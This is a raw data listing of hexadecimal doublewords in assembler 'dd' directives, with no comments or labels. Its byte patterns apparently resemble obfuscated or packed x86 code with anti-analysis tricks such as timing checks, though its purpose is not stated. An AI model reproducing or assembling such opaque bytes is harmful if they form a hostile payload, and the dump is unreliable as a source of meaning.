		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 84BF0C27h
		dd 7D37CE54h, 2A0D9D01h, 0D0FF05E7h, 20F99D89h,	6A9605E7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0CF2FC353h, 0E1DB69ABh, 0E9FE8B60h, 10h
		dd 0BCE2070h, 0F1F7CC3Ch, 0BC60FDE4h, 5DA888A2h, 7DBD0961h
		dd 3105E721h, 0E71CBD9Dh, 24740305h, 53006A24h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0AF967997h
		dd 0A65DC0E7h, 54DB589h, 0BD8D05E7h, 5E71275h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 14C35242h, 5EE902B1h
		dd 1555FA45h, 1BD1BD31h, 11E905E7h, 68000000h, 7017AF46h
		dd 0BF1CA08Ch, 0B5A9B294h, 6E467967h, 57006AADh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 3A9EFF1Eh, 0FBCE42Ah, 68Dh, 85950100h, 3105E731h, 0E72BCDB5h
		dd 247C8105h, 24h, 23870F10h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8372C355h
		dd 362662D2h, 9BA9302Bh, 12AD9589h, 0BD8905E7h,	5E706B9h
		dd 45BA6090h, 0BB26215Fh, 5E7CA5A5h, 800F5061h,	8, 2800Fh
		dd 61600000h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 7314F0ADh, 3D758E8Ah, 6660B25Ch
		dd 4AEFC981h, 614EE380h, 2824448Bh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0D7C35242h,	0EA48AC84h, 60232D50h
		dd 4D59D89h, 8D8905E7h,	5E7134Dh, 8B605061h, 61D08BF9h
		dd 0E9240489h, 0Ch, 2FD4693Ah, 0EFB0DFC4h, 3FFC7236h, 48C0858Dh
		dd 958905EAh, 5E71B65h,	6AD0FFF9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 2540C350h
		dd 14ECB710h, 0AE6D1A1Fh, 0D8BA6660h, 0B5316116h, 5E717A5h
		dd 11E9h, 0FF5C7800h, 22E99E4Ch, 636F7A64h, 44876ADh, 44035C4Dh
		dd 0CE92424h, 3F000000h, 339F5CBh, 0C1F36F2h, 0AB2A9497h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B8C35545h
		dd 0EE954h, 74AD0000h, 5D6A0C24h, 4E5B298h, 0C91E4A88h
		dd 0FA81h, 820F0001h, 75Fh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 9EC35141h, 0F27B4742h, 0BDBD8D3Eh, 8905E731h
		dd 0E7023185h, 81FCAD05h, 24247Ch, 0F100000h, 11487h, 78A0F00h
		dd 0F000000h, 18Dh, 0F90F500h, 0C87h, 7E900h, 0BDA40000h
		dd 8C981707h, 0E86050C8h, 12h, 9D971BF5h, 0BD0C2D9Bh, 0A117167Fh
		dd 0C7296725h, 31B67D96h, 0F88B665Eh, 6A9061h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0AFE2BCC3h, 3909ACB3h, 11858B60h, 2B05E728h,	0E72A4DBDh
		dd 448B6105h, 10E92824h, 34000000h, 22C41443h, 607929F1h
		dd 25DB2D18h, 90540E19h, 8A0F5250h, 6, 310F5250h, 310F585Ah
		dd 0DE9h, 5359900h, 0F1E276E7h,	0EADCA3E9h, 585AA3DCh
		dd 9E950h, 0E7570000h, 913EB178h, 90942670h, 0AE9h, 0D8D78100h
		dd 78EE2AE4h, 8D34EF1Eh, 0EA48C085h, 0EE905h, 0D9150000h
		dd 40D397A1h, 60CC37C7h, 0F732D8B5h, 7860Fh, 860F0000h
		dd 1, 6AD0FFF8h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0F978C357h, 244403F5h,	50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0F505A09h, 88Dh, 850F6000h, 0
		dd 24048961h, 8A0F60F9h, 10h, 0BE9h, 1C7B9900h,	66629288h
		dd 0ED33D49Dh, 1C75B589h, 0AB6105E7h, 68D0FF9h,	89000000h
		dd 0E707C5B5h, 6DBD8D05h, 6A05E726h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B3F3C353h
		dd 13E94490h, 6000000h,	35DCC45Eh, 0F859EC6Ah, 0FC12B395h
		dd 0ED572A5Fh, 8960429Ah, 0E701699Dh, 9D958B05h, 6105E725h
		dd 0F18060ADh, 0F38B6637h, 8D0F6061h, 6, 8A0Fh,	0B58B0000h
		dd 5E7085Dh, 247C8161h,	28h, 0DB870F10h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 2409C350h, 0E5075C3h, 0E646412Dh, 128D0F90h,	50000000h
		dd 840F52h, 0F000000h, 8C0F31h,	5A000000h, 890F5058h, 0Fh
		dd 0AE9h, 0E23CE100h, 0D53CC22Fh, 901A0208h, 0AE5BD01h
		dd 448B05E7h, 860F2C24h, 0Ch, 6840Fh, 8D890000h, 5E72535h
		dd 0BE950h, 78A70000h, 720987F1h, 0D3DDC4E5h, 240489C6h
		dd 8B5FB760h, 0E712418Dh, 858D6105h, 5EA48C0h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0EFC35040h, 2D95892Fh
		dd 0FF05E709h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0F96191Dh, 4403F9E2h
		dd 6A2824h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0ABF391C3h, 1CE9B960h, 8D891C07h,	5E72DD9h
		dd 8DFF5E61h, 5EA794Fh,	794FBD83h, 750005EAh, 8DC0330Ah
		dd 0EA8914B5h, 56E6FF05h, 247C81ADh, 28h, 500E7710h, 2C24448Bh
		dd 0C0858D50h, 0FF05EA48h, 244403D0h, 0DF8B9728h, 794B858Ah
		dd 0C08405EAh, 73A0474h, 32574C75h, 0FD75AEC0h,	52FB2B5Eh
		dd 49C933FCh, 0C033D18Bh, 32ACDB33h, 8ACD8AC1h,	0B6D68AEAh
		dd 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h
		dd 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h
		dd 0D03B5AC1h, 835E0F74h, 85FF04C6h, 5E725C5h, 0FFFF5DE9h
		dd 10E95EFFh, 22000000h, 0B0344AFEh, 9E3468EAh,	0B1885141h
		dd 6A9B8F2Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 62CCC357h, 308A1550h, 6E9D1BEh
		dd 6C000000h, 450CB1Ch,	0E18D8915h, 8B05E732h, 0E725C585h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8B0FDB3Eh, 0Dh, 8E9h, 0CF0C5700h, 0B3E738CEh
		dd 298B0FE4h, 60000000h, 13E9h,	58838000h, 1E9FA151h, 3E500584h
		dd 90D87322h, 6CB04673h, 0AE9h,	6198F200h, 0C2E6C3BFh
		dd 6150F28Dh, 9D01E0D1h, 5E71315h, 266D8503h, 800F05E7h
		dd 0Ch,	6800Fh,	0B5890000h, 5E70071h, 6AF62Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0D739E1C3h, 0F39B589h, 6A9605E7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 252EC357h
		dd 11E9h, 4569AD00h, 79AEF28Bh,	0C10299EFh, 9862449Eh
		dd 0AD66A7F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	46C35747h, 0A98E76ABh, 0F8604DD9h, 0D59D0161h
		dd 0C105E72Eh, 840F02E0h, 0Ch, 6860Fh, 8A0F0000h, 0
		dd 0C3B70F60h, 2C998D8Bh, 36105E7h, 0E7127585h,	8E905h
		dd 0CF540000h, 0FF7C7386h, 96F9B5ACh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0FAC35141h,	840FA184h, 6, 128DBD09h
		dd 0F9AD05E7h, 24247C81h, 10000000h, 0DC870Fh, 85010000h
		dd 5E731B9h, 0D8A0F90h,	60000000h, 2FE49FB8h, 0F525050h
		dd 61585A31h, 0FE950h, 0F78F0000h, 940E593Ah, 60C7E3B3h
		dd 3DA751E6h, 8BF99006h, 6A282444h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F970C350h
		dd 0FA6CB3Ah, 1E86h, 188C0F00h,	0E9000000h, 13h, 14CEB371h
		dd 8A11BA21h, 0A1530D14h, 0BC6E8409h, 0E95B9030h, 0Dh
		dd 8BF2560Bh, 84CA50F1h, 0C9340971h, 870F50FBh,	13h, 0EE9h
		dd 20717D00h, 583DD979h, 1238B3FBh, 89603283h, 8DF92404h
		dd 0EA48C085h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 17AAA640h, 60AC5BC5h
		dd 0F960B7B3h, 0FF6161F9h, 4403F8D0h, 6A2424h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 27789DC3h, 8D7B58BDh, 870FFB11h, 15h, 10E9h,	0DC897700h
		dd 0A0B30308h, 0B9D8B27Dh, 2B8381F9h, 244489CFh, 0BE91Ch
		dd 3F600000h, 9F9FA87Ah, 0F647170Ch, 0F985C6D0h, 5E707h
		dd 7AE385C7h, 5EAh, 85C70000h, 5EA7953h, 0
		dd 57006AF5h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 786B8773h, 3E5D48F5h, 22D19D89h,	0FE905E7h
		dd 65000000h, 0D19AD28Bh, 0FEACD2BDh, 16D5AAACh, 6A61326Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 4C45C351h, 0BE9FC7Ch, 62000000h, 0FD1C3EA2h
		dd 1A520168h, 8C286A2h,	359D2900h, 8B05E717h, 0E7127585h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 5E98BEEh, 72000000h, 968800C6h, 358D294Ah
		dd 8905E705h, 0E70351B5h, 4D26B05h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 83C35040h, 2B318D89h, 0C20305E7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 88C35545h
		dd 0E93B62F9h, 0Fh, 0D78C9503h,	9E6EF63Dh, 8F3C3CDBh, 605C7BD9h
		dd 0BE9h, 0FA01500h, 0E3278E4Ch, 2E94FB9Bh, 0BE74BA66h
		dd 6A9661h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0FA3E2C3h, 0E5D74489h, 0BD8B60F5h, 5E72F29h
		dd 7699D03h, 0AD6105E7h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 59C35242h, 785D0A19h,	18B0F67h, 0F9000000h
		dd 24247C81h, 10000000h, 0FA870Fh, 50F80000h, 8E95060h
		dd 95000000h, 402654DCh, 5B545810h, 8961A7B1h, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 63E4CC3h, 43E54B0Eh,	0F80CC57h, 182h, 8B60FC00h, 0E7158D9Dh
		dd 0F8CA8105h, 613F2938h, 2824448Bh, 8759D89h, 505005E7h
		dd 0F525052h, 88h, 0F310F00h, 87h, 0F585A00h, 18800F31h
		dd 0E9000000h, 13h, 1C31091h, 414031Bh,	39386059h, 0E88A7D68h
		dd 5AFC5AA7h, 24048958h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 10C35343h, 893588B5h,	0E705A595h, 0C0858D05h
		dd 6A05EA48h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0EEEEC352h, 0C96407B4h, 898B3E4Bh
		dd 0E7150585h, 9589F805h, 5E70BF5h, 9589D0FFh, 5E730FDh
		dd 0FFFD05E9h, 0B810FFFh, 0E9000000h, 6, 0F7D39C13h, 858DA29Eh
		dd 5EA8F5Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	91C35242h, 87FC9A7Fh, 8002FEAAh, 11E9C7h, 10F30000h
		dd 80757355h, 2EF1E1F0h, 0D04D30CFh, 90CDDAF9h,	12E95250h
		dd 66000000h, 0FB96606h, 27AB5D4Fh, 9D123A36h, 1D770E8h
		dd 60310FA7h, 5E8h, 0BF401B00h,	665A2AA8h, 6144A7B8h, 6050585Ah
		dd 61D08B66h, 78A0F90h,	0F000000h, 186h, 0FF64F500h, 35h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0E50FAF8Eh, 7E9DFh, 8490000h, 0CE06FEC6h
		dd 48BF511h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 9517072h,	0B58B60D4h, 5E70659h, 0A331E181h
		dd 0E961532Ah, 13h, 0A109449Bh,	98B052E7h, 0EAAE658Fh
		dd 0E0F448C6h, 890931DCh, 0E7002585h, 59950105h, 6405E706h
		dd 2589h, 8DF80000h, 0EA8D6F85h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0C19BB1FFh
		dd 29F9F7F5h, 0E70D31BDh, 1608905h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 4AC35747h, 0FAB7FE59h, 685A7BAFh
		dd 23BE984h, 8E0F0000h,	0Eh, 0ADC78160h, 0F774FD8h, 8Bh
		dd 0DB8B6100h, 0E8h, 0ED815D00h, 5EA8D68h, 12FF9CBCh, 4DBD8300h
		dd 5E70Dh, 858B1874h, 5E70651h,	8B0000C6h, 0E7204585h
		dd 0C605h, 27D195FFh, 0FF6005E7h, 0EA7557B5h, 5B858D05h
		dd 5005EA75h, 7753858Dh, 0FF5005EAh, 0E7062995h, 0CC48305h
		dd 0AE961h, 1BC0000h, 0ACAA6D5Eh, 0F5FCB0B6h, 31D59D89h
		dd 8DFC05E7h, 0EA7753B5h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 9E0CF86Ah
		dd 1445F829h, 89603936h, 0E70B0995h, 0DE805h, 22670000h
		dd 911F71C2h, 3A705567h, 8B39F28Ch, 0E70D8DBDh,	60615905h
		dd 17059D29h, 0EC8005E7h, 0BD8D61B9h, 5E717ADh,	14E9h
		dd 0A89C9A00h, 3579C4C1h, 23CB8DE5h, 49837FD0h,	0E92FEFDFh
		dd 3E8081h, 75840Fh, 0B0600000h, 0FAB70F8Ch, 91852961h
		dd 0A405E722h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	69C35141h, 91572E89h, 0DA40906Fh, 0FFBFE9FEh, 6AFFFFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 5E9E7BC3h, 0E903236Ch, 11h, 3519BAD9h, 0F65E2885h, 201DC5C9h
		dd 0AE793F75h, 718D31B6h, 0B805E704h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 5AC35545h
		dd 7931ACBBh, 89FCDC18h, 0E72C19B5h, 8D01AA05h,	5E7020Dh
		dd 7B8h, 2D958900h, 0C705E716h,	0E704E985h, 105h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0F8F8C69Ah, 391E3A2Ah, 419529F5h, 8D05E704h,	0E74DFA8Dh
		dd 6840F05h, 9000000h, 0E70D599Dh, 0E1FFF805h, 81666060h
		dd 0BF9607EFh, 3CBEE189h, 99B58B61h, 6105E709h,	0C245C8Bh
		dd 0E855h, 815D0000h, 0EA8F65EDh, 0B8838B05h, 89000000h
		dd 0EA755785h, 61858D05h, 8905EA8Dh, 0B883h, 0C0335D00h
		dd 51006AC3h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 88D87BE5h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 1AC35141h, 14E931h, 533F0000h, 0EC904B9Bh
		dd 0D0D9A21Fh, 0F18DDB95h, 6B867782h, 57604889h, 0FADBBE66h
		dd 0D8CF815Eh, 6120EB2Fh, 0C820F60h, 0F000000h,	687h, 8D0F00h
		dd 0FC000000h, 9230858Dh, 6A05EAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 2B15B3C3h, 0F7B93E09h
		dd 5ED8D31h, 9D0105E7h,	5E7245Dh, 13E950h, 77470000h, 0DA5C65B5h
		dd 2CE64552h, 0AD315863h, 64CB702Ch, 2404894Dh,	0B719D31h
		dd 0F6005E7h, 11E9F9BFh, 0C8000000h, 0DFFD7DADh, 81A735F3h
		dd 6F641D21h, 66DFCAADh, 35FF6461h, 0
		dd 0B8D0Fh, 6E90000h, 1D000000h, 7B5E67F4h, 2589645Bh
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6FC35747h
		dd 6462982Dh, 0A318C6BAh, 68C0Fh, 8D890000h, 5E7249Dh
		dd 92B2858Dh, 880F05EAh, 19h, 14E9h, 4BAE7400h,	0D6B88545h
		dd 0F3874B80h, 0C54E937Dh, 4D4C64DCh, 35858934h, 8905E708h
		dd 95890160h, 5E72DB9h,	7F985C6h, 604F05E7h, 0B899D01h
		dd 8B6605E7h, 0E8F861C1h, 4, 0FEC8742Ah, 0C8D0Fh, 7E90000h
		dd 3F000000h, 3F25E4Ch,	0F502F9Dh, 248Fh, 0E9525000h, 13h
		dd 7DE5E5DDh, 93F45E5h,	59C6FDDAh, 82FE842h, 0FC8A27Ch
		dd 0F525031h, 5A585A31h, 24448B58h, 0A2B56004h,	0F008B61h
		dd 985h, 61606000h, 567D9BBBh, 44896135h, 8C0F0424h, 1Dh
		dd 52505250h, 585A310Fh, 0CE9310Fh, 0C2000000h,	6FB8D4E4h
		dd 9F726BB1h, 5A727FF9h, 0FC605858h, 17918589h,	96105E7h
		dd 0E719EDB5h, 0C5B5FF05h, 0E905E72Dh, 13h, 0B1D42B8Ah
		dd 4DF11EC2h, 2921D587h, 0E5E19C09h, 0FCC06AF1h, 7963858Dh
		dd 0E96005EAh, 7, 684EAC02h, 66957138h,	0FF61D98Bh, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0E9548529h, 3919D29h, 0B4E905E7h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 87DFC356h, 6610CED7h, 7E98C993h, 6860FFCh, 1000000h
		dd 0E72B05B5h, 245C8B05h, 0E8550Ch, 5D000000h, 923AED81h
		dd 858B05EAh, 5E70C25h,	2DC58589h, 858B05E7h, 5E713C5h
		dd 3C58589h, 858B05E7h,	5E705F1h, 2B3D8589h, 85C605E7h
		dd 5E707F9h, 0E385C700h, 5EA7Ah, 8D000000h, 0EA92B285h
		dd 0B8838905h, 5D000000h, 6AC3C033h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C7ABC355h
		dd 0DDE9C3F8h, 8B948666h, 318589FCh, 0BC05E70Fh, 12FF74h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 37C35747h
		dd 0E50DBEB4h, 0F3F07D5h, 683h,	31852900h, 6005E700h, 128D9D8Bh
		dd 0B70F05E7h, 8F6461FFh, 5, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 948D24A3h
		dd 66CB7A88h, 6A04C483h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0F9E1C357h,	148E961h
		dd 500000h, 540000h, 580000h, 5C0000h, 600000h,	640000h
		dd 680000h, 6C0000h, 0B00000h, 0B40000h, 0B80000h, 0BC0000h
		dd 0C00000h, 0C40000h, 0C80000h, 0CC0000h, 0D00000h, 0D40000h
		dd 0D80000h, 0DC0000h, 0E00000h, 0E40000h, 0E80000h, 0EC0000h
		dd 38h dup(0)
		dd 76220000h, 50EB0057h, 858D00A0h, 5EA9341h, 85895951h
		dd 5EA9481h, 13F0F381h,	85C65E1Bh, 5E707F9h, 7E954h, 0CF360000h
		dd 2FBEC6C8h, 4E39688Eh, 0BA516ECAh, 3027B319h,	2404815Fh
		dd 7F9819F0h, 6850Fh, 958B0000h, 5E730B1h, 2DC5B5FFh, 8B0F05E7h
		dd 0Ch,	6800Fh,	958B0000h, 5E702F9h, 7963858Dh,	8B0F05EAh
		dd 8, 28F0Fh, 61600000h, 2FBED0FFh, 894A4C80h, 0EA948585h
		dd 0CD9D8B05h, 0E905E713h, 3Fh,	0B58B56F8h, 5EA9481h, 85830689h
		dd 5EA9481h, 60C35E04h,	9341B58Dh, 0FEB05EAh, 0FF006A56h
		dd 8595FF36h, 5E05EA94h, 8304C683h, 0EC75003Eh,	0B589C361h
		dd 5E70441h, 17BFBA53h,	8D5E3175h, 0EA952685h, 14E905h
		dd 0C1E90000h, 317B9C3Bh, 0D530A76Eh, 7E2E3EA4h, 81A15BE8h
		dd 8589F19Bh, 5E7318Dh,	10E8h, 36162C00h, 2057A75Bh, 38F041AFh
		dd 98DD53A9h, 0AE832h, 966B0000h, 0E580F0F9h, 6CE6052Ah
		dd 958B595Ah, 5E729E9h,	7178C181h, 68F50000h, 1C2Dh, 665EFE8Bh
		dd 31FFF98Bh, 8958D78Bh, 0E72CE1BDh, 61F08105h,	0F6C4F90h
		dd 586h, 0EB816600h, 0C0814C24h, 6CC8932Fh, 39B589h, 0C08105E7h
		dd 73C36D0Bh, 2821958Bh, 18905E7h, 830Fh, 0E9830000h, 398D0902h
		dd 4905E721h, 0BF666049h, 858BF696h, 5E71B3Dh, 850F4E61h
		dd 19h,	0E93BC380h, 2Dh, 333A91A8h, 7C64CCFBh, 0C7BE2E7Eh
		dd 60DCE1D5h, 0F1B589A5h, 0E905E712h, 0FFFFFF82h, 0EAA00A4Ah
		dd 2BD75A78h, 3BF5FD43h, 7080F5A0h, 0E5E9BFh, 4D100000h
		dd 71DCFFEEh, 0A1D1F32h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh
		dd 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh
		dd 75D55FEDh, 6D373353h, 3D557D2Fh, 0D57F2D77h,	577DD77Dh
		dd 0DF6D171Eh, 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h
		dd 0D020A1E4h, 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h
		dd 0E0202060h, 752060E0h, 0D0A3353h, 20557D2Fh,	20602060h
		dd 2BA72860h, 0D650F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h
		dd 0B3F47192h, 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h
		dd 0D773351Ah, 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh
		dd 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh
		dd 75D55FEDh, 6D373353h, 1E357D2Fh, 0A8000E0Ah,	54A766C1h
		dd 0DA43F2FDh, 0E952C92Dh, 0BD6h, 0EA996768h, 0E639E905h
		dd 7568FFFCh, 0E905EA9Ah, 0FFFCE62Fh, 0EA9B4A68h, 0E625E905h
		dd 1068FFFCh, 0E905EA9Ch, 0FFFCE61Bh, 0EA9C9268h, 0E611E905h
		dd 0F68FFFCh, 0E905EA9Dh, 0FFFCE607h, 0EA9E5C68h, 0E5FDE905h
		dd 3668FFFCh, 0E905EA9Fh, 0FFFCE5F3h, 0EAA02268h, 0E5E9E905h
		dd 0D668FFFCh, 0E905EAA0h, 0FFFCE5DFh, 0EAA18668h, 0E5D5E905h
		dd 0C5F3FFFCh, 0DAF05FF1h, 0C2CF54F4h, 0DEC956FAh, 0DDC552FEh
		dd 334253FDh, 0C50B337Fh, 0C50B337Eh, 0C30D2D7Eh, 0DE725474h
		dd 6ADEFBEBh, 69C69F75h, 0DCCF503Ah, 0D40501F1h, 1566FFE0h
		dd 7A5280D6h, 0F15E0654h, 43AAF0C8h, 36060D60h,	4A4C1FE8h
		dd 3CC1A199h, 234321F4h, 9BBBEDC0h, 5332BEB5h, 6F55E7Bh
		dd 91E2C95Ch, 42A624Dh,	92D7FC4h, 0E4FB4035h, 2566C69Dh
		dd 0C0CE3905h, 5B00A4FAh, 6FE7F33Fh, 0A8AE98A7h, 0CABE7B52h
		dd 57C69DE4h, 3C0D5175h, 0B0230253h, 3592BA16h,	9DE418E0h
		dd 0F9CA1BC6h, 0FEC0C857h, 7C404BD4h, 0D6F6C101h, 0E4442C89h
		dd 0E5FC69Dh, 0A896E13Dh, 28634C92h, 317A3604h,	2A912589h
		dd 2A0C1CACh, 882FA126h, 0C91D61F1h, 0A9000004h, 6547A52h
		dd 1CFEF39h, 6F8E866Ah,	19F77430h, 22EAFCCDh, 0D925151Dh
		dd 0E7D4B5F0h, 0ECC95C43h, 54A5959Dh, 23C1B306h, 94B7C692h
		dd 0C976EEF2h, 2E5661F1h, 10000000h, 0A72FEE02h, 5CFEB912h
		dd 1965B6C9h, 82B8E649h, 0FE7EC6A3h, 4308C692h,	0DCAA8247h
		dd 292EE3BEh, 0C858CF2Eh, 8461F243h, 0C5h, 547A52CEh, 0C9F13906h
		dd 506CBE81h, 29045579h, 98BEEED9h, 6D537542h, 80CA1B3Bh
		dd 6C4F6FBFh, 0E61CD1E0h, 0C5C7C375h, 0E64B3D98h, 7F48C375h
		dd 3315222Eh, 3CB0CF13h, 8BA47159h, 20C95CF2h, 6E8279D7h
		dd 8B0F27AFh, 0E5A4299h, 0BE4EEFD5h, 85923F3h, 9C14A12Dh
		dd 57CCB8CFh, 0D4C9110Fh, 146EC4D8h, 2C456D72h,	87CF18D1h
		dd 68568EB8h, 237F5F4Ch, 44A5F9CAh, 331C3C65h, 3208361Dh
		dd 1EDE784Dh, 53082070h, 8FDh, 1CF0F35h, 1E32103Ah, 18300831h
		dd 14341833h, 153B030Fh, 79A1F988h, 75A08F41h, 6BA08F41h
		dd 6EBE854Bh, 0A1218048h, 9F7BAC14h, 274A7C6h, 0FA566452h
		dd 0F55B7BADh, 31EE02D5h, 0E2E43515h, 1664545Dh, 0DBFEF437h
		dd 0C95CFE42h, 6DD02E7Fh, 0C692FE97h, 0AC0931E1h, 0C692FEC4h
		dd 0F1C48EDFh, 0C692FE0Fh, 0E9F83B04h, 7269FBE1h, 0D95B61F2h
		dd 6F000000h, 475D7A52h, 0CF2CE696h, 0B2FDC112h, 9568B684h
		dd 0C375D750h, 0A7B4818Bh, 8F714422h, 84C37511h, 0ED3A63BBh
		dd 90BF91E2h, 184896B8h, 5F326820h, 0CCB3F59Ah,	3296E881h
		dd 61DE851Bh, 72C4FCFh,	24C8F736h, 0B34C6961h, 0C8C95C02h
		dd 569A51FFh, 0AF571FB7h, 9DEAA60Ah, 116CBDC6h,	0B781E1A8h
		dd 4A231BCCh, 224A7B94h, 0E13283E2h, 0E3C151E9h, 35B5EF94h
		dd 7C34FCF6h, 0A823DE0Ch, 0E2D12CB9h, 0FD4A86B4h, 57D9FCB5h
		dd 6CC8A4A1h, 824D3203h, 2E701F3Bh, 7EF4912h, 0F9270000h
		dd 0E62473DDh, 0F62308C0h, 0EA3D0AC6h, 0F13906CAh, 7BE07C9h
		dd 0F9576753h, 0F9576752h, 0F7597952h, 0F25E60A8h, 0BE02973Fh
		dd 0B5C69F78h, 64521046h, 7BADFA56h, 0FD2C735Bh, 0B2569AD9h
		dd 404A7A52h, 0E2CD1162h, 494484AAh, 409E7A0h, 84B4FD42h
		dd 301857B6h, 0DF87CF2Eh, 41419467h, 47A69CB6h,	5CBF15E2h
		dd 143FBC9h, 0AEF0BC36h, 0C2D2924Fh, 1719A3F8h,	0E4C71034h
		dd 0EDF1D817h, 606FB891h, 0D9AAD35Fh, 0FDA24EC7h, 0ADAD9AB4h
		dd 7E5B735Ch, 0CDED60CDh, 0AA5F9CAh, 0AAF27E6h,	0C3F7C247h
		dd 3A123DE5h, 0F5E95F14h, 99EAD3F7h, 0D4E1E95Ah, 0D3F7F56Ch
		dd 19BC1667h, 0D3F7F597h, 587243ACh, 5FF1D5F7h,	9F6D8F0h
		dd 74D00FC8h, 1AAB3008h, 18000007h, 19262A2Ch, 14232D0Dh
		dd 163D132Bh, 12391737h, 0EB3A1624h, 0BC9A84DCh, 0BC9887ACh
		dd 0A68687ACh, 0AB8B9DAAh, 774204A5h, 0C69F7981h, 52279382h
		dd 6906547Ah, 0EDC88283h, 0C95CF7FCh, 0CBA0A8F9h, 0C16E6025h
		dd 0B099E5C5h, 0F65C7975h, 8DCC876Ch, 0DD622ABCh, 0A48BEACAh
